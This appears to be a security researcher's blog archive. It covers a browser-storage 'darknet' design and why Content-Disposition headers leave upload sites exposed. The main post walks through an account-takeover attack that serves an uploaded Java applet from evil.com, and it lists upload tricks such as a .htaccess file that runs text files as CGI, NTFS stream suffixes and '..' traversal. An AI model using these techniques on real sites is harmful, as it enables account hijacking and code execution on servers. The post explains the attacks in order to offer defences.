Alice then grabs some file slices in order to help everyone share the risk of getting DMCAwned. Now imagine supernode ‘www1′ gets burned. She gets kicked off the darknet and has to find a new supernode. Once she authenticates to the next supernode, she is redirected to a sequentially enumerated sub-domain, ‘www2′. Because the next supernode is still a subdomain of the previous darknet domain, she can again execute the same code:

> document.domain = 'darknet.com'

Now she’ll have the same access to those files and the information is not lost – no need to go grab the new file slices because the old ones are still here in local storage!

Side notes
There is a pretty minor weakness in this approach – if a bad guy can hijack a supernode subdomain and trick her into visiting it (while her browser is still pinning the legitimate supernode IP address, otherwise any request to it would be redirected to a new, safe supernode), that bad guy can grab the local file slices with malicious code.

Also, using DNS as a control mechanism can probably also cause some darknet-fail due to its centralization, but you can always fall back to a less restrictive model when DNS is unavailable due to compromise. On top of that you can rotate authoritative nameservers much faster than in years past.

Wrapup

I’m sure you were totally rivitted by that – in fact I’ll try to do more posts on improving the virtual defenses of a virtual darknet. There are other ways of improving it and plenty more ways to attack it, but the rest are even more boring than this. Hope you enjoyed Blackhat!

Using “Content-disposition: attachment” when streaming user-uploaded files is unfortunately incomplete protection against all cross-origin issues. Most savvy testers know that without it, a user could send a victim a link directly to a malicious uploaded file or <iframe> it in from their evil site, causing XSS & SSRF. When this header is sent down in response to a request, even if from an iframe, the browsers will force the user to download the file or cancel the request.

If they save and execute the file, they’re even more out of luck since locally privileged files are just as good as malware – but the forceful prompt is generally thought to better than the definite risk posed by not sending the header. Bottom line: the header is something you should send.

Developers seem to know this, too. I encountered this header for a second time in recent months, and in a way I’d guess was partially motivated by security. Given that I don’t think a lot of people know why it’s not good enough alone, I thought I’d write something up here.

HTTP is to firewalls as Java is to Browser Security
If you can upload arbitrary files to a site that can stream them back to you with a permalink, you can use Java to XSS other users of the site if you can trick them into visiting your site. If you remember from the GIFAR problem that Java’s same-origin policy, like Flash’s, is backwards, the issue will be easy to understand. If you don’t remember, here’s Java’s SOP in a nutshell: Java applets are only allowed to interact with the host where they were downloaded from, not the context where they’re being executed. This is the opposite of the browser’s normal active content SOP. If you <script src=http://X/foo.js>, the context of execution will be the current page, not origin X.

With that in mind, consider the crux of my message today: Java ignores the Content-Disposition header. This means that if you can upload a class file or jar file to a site and that file can be permalinked, then you have cross-origin applet capabilities. Here’s the timeline of an attack, which is similar to that of a Type I POST XSS:

0. Mallory creates an evil applet that connects back to its host and issues a few key HTTP requests to change a profile email address
1. Mallory uploads the evil applet to fileshare.com
2. Somewhere else on the web, Alice logs into the site, filesharing.com
3. Somehow, Mallory tricks Alice into visiting her site, evil.com
4. evil.com gives Alice HTML that contains an <applet> tag that points back to Mallory’s evil applet on fileshare.com:

<applet code=’EvilClass’ archive=’http://victim/users/myuser/evilfile.jar’>

5. The evil <applet> executes with Alice’s ambient authentication, and changes her email address to one that Mallory owns
6. Mallory resets the password on the account and Alice’s new password is sent back to Mallory

I couldn’t find much record of Java’s ignorance of the Content-Disposition header. I see kuza55 & stefano mention this fact somewhat quietly in what appears to be an excellent RIA slidedeck, but there’s no mention of it in Java documentation, the Browser Security Handbook, or any other reference I could find.

Keep in mind that, by the way, that Mallory doesn’t need to upload a file with a .class or .jar extension in order to include it remotely; she could also upload a file with an extension  users are more likely to want, like .zip. Hell, you can probably store the serialized applet in any extension and invoke it with object=serializedApplet – I haven’t tested it and you shouldn’t be relying on extension checking for security, anyway.

The fix

The fixes, as always, are simple once you think about it in terms of what the application can do that the attacker can’t.

Fix #1: Require a POST to access the file. Although this is the least future-safe approach, it’s quick and it’s something you can make work in a WAF or in server configuration files. The attacker can’t force an <applet> tag to retrieve its content with a POST.

Fix #2: require a CSRF-quality token when downloading the file. This will require a forwarding action to front access to the files, but it’s a sturdier approach, long term.

Think before you save

Something else I’ve noticed – developers don’t think too creatively on defense when allowing users to control the names of their uploaded files. Aside from obvious null byte problems, developers are mostly smart enough to prevent files such as .php, .jsp, etc., from being stored, they typically don’t think about other types of files that
are also dangerous. Let’s imagine a site with the following structure for accessing user-provided files:

http://<victim_site>/users/<user_name>/<file_name>

Here are 3 good questions to get you started thinking about alternate exploitation scenarios when testing file upload mechanisms:

1. Can users choose their own name during registration?

I’ll upload a file called ‘login.foo’ for my new user, ‘en-US’. The browser’s content sniffing will find the HTML in my file that has an unscary file extension and render it to my phishing victims the way I wanted. The Content-Disposition header stops this type of attack.

2. Have you considered files that have special meaning to web technologies?

I’ll upload my own application.cfc with whatever server-side code I want to execute (maybe an onRequestStart() request logger?)

If it’s not a ColdFusion app I could upload my own crossdomain.xml! Flash++!

If you don’t like Flash’s weird programming model you could just upload your own .htaccess, which  allows you to do some cool shit – like force Apache to interpret my text file that I previously uploaded as a server-side CGI script with 2 lines:

Options +ExecCGI
AddHandler cgi-script txt

3. How good is that character validation of user-supplied file names, really?

Consider the old trick of ending a file name with :D ATA in NT filesystems in order to get to the default data stream of a file without ending with the normal extension. Or maybe the application doesn’t canonicalize invalid Unicode, which you could abuse in countless ways – most notably because parameter.indexOf(“..”) == -1.

Blackhat!

Hopefully you got something useful out of that. For anyone else that’s here, I’m already in Vegas getting ready to teach before the con starts – Twitter me if you’re going to be around and want to drink a beer or grab some sushi! P.S. grab a seat for Jeff’s talk on malicious code – scary one for the CSO’s.